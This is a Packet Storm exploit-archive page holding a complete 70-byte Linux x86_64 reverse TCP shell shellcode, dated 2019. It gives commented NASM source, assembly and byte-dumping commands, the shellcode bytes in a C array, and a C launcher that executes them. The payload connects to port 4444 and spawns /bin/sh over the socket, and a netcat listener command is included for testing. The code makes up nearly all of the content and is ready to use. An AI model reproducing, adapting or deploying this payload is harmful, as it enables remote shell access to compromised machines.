what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86_64 Reverse(0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode

Linux/x86_64 Reverse(0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode
Posted Jun 24, 2019
Authored by Aron Mihaljevic

70 bytes small Linux/x86_64 reverse TCP shell over port 4444 shellcode.

tags | shell, tcp, shellcode
systems | linux
SHA-256 | 5b2cd8d9d58e04666560f366e8f66fd5cb9b9fdfdbab656bc1860b161d6d68ec

Linux/x86_64 Reverse(0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode

Change Mirror Download
/*

Title: Linux/x86_64 - Reverse(0.0.0.0:4444/TCP)Shell(/bin/sh)- Null Free Shellcode
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length: 70 bytes
;github = https://github.com/STARRBOY

compilation and execution of assembly code
-------------------------------------
nasm -felf64 reverse.nasm -o reverse.o
ld reverse.o -o reverse
---------------------------
dumping binaries
----------------------------------------------------------------------------------
for i in $(objdump -d reverse |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
----------------------------------------------------------------------------------
C program
-------------------------------------------------------------------
gcc -fno-stack-protector -z execstack reverse_tcp.c -o reverse_tcp
----------------------------------------------------------------
test:
open a terminal and run this " nc -l 0.0.0.0 4444 "

after you have done that,
open another one and run a shellcode



global _start

section .text

_start:


; create socket
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41

push 41 ;sys_socket
pop rax
push 2 ; AF_INET
pop rdi
push 1 ;SOCK_STREAM
pop rsi
xor rdx, rdx ;rdx = 0
syscall


xchg rdi, rax ;save a socket descriptor

connect:

; struct sockaddr_in addr;
; addr.sin_family = AF_INET;
; addr.sin_port = htons(4444);
; addr.sin_addr.s_addr = inet_addr("0.0.0.0");
; connect(connect_socket_fd, (struct sockaddr *)&addr, sizeof(addr));

push 2 ;sin_family = AF_INET
mov word [rsp + 2], 0x5c11 ;port = 4444
push rsp

push 42 ;sys_connect
pop rax
;rdi already contains a socket descriptor
pop rsi ;(addr.sin_port,2 bytes) push htons(4444)
push 16 ;sizeof(addr)
pop rdx
syscall

push 3 ;push counter
pop rsi
dup2loop:

; int dup2(int oldfd, int newfd);

push 33 ;dup2 syscall
pop rax
dec rsi ;next number
syscall
loopnz dup2loop ;loop

spawn_shell:

; int execve(const char *filename, char *const argv[],char *const envp[]);


xor rsi, rsi ;clear rsi
push rsi ;push null on the stack
mov rdi, 0x68732f2f6e69622f ;/bin//sh in reverse order
push rdi
push rsp
pop rdi ;stack pointer to /bin//sh
mov al, 59 ;sys_execve
cdq ;sign extend of eax
syscall

*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]=\
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01"
"\x5e\x48\x31\xd2\x0f\x05\x48\x97"
"\x6a\x02\x66\xc7\x44\x24\x02\x11"
"\x5c\x54\x6a\x2a\x58\x5e\x6a\x10"
"\x5a\x0f\x05\x6a\x03\x5e\x6a\x21"
"\x58\x48\xff\xce\x0f\x05\xe0\xf6"
"\x48\x31\xf6\x56\x48\xbf\x2f\x62"
"\x69\x6e\x2f\x2f\x73\x68\x57\x54"
"\x5f\xb0\x3b\x99\x0f\x05";


int main(){

printf("length of your shellcode is: %d\n", (int)strlen(shellcode));

int (*ret)() = (int(*)())shellcode;

ret();
}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close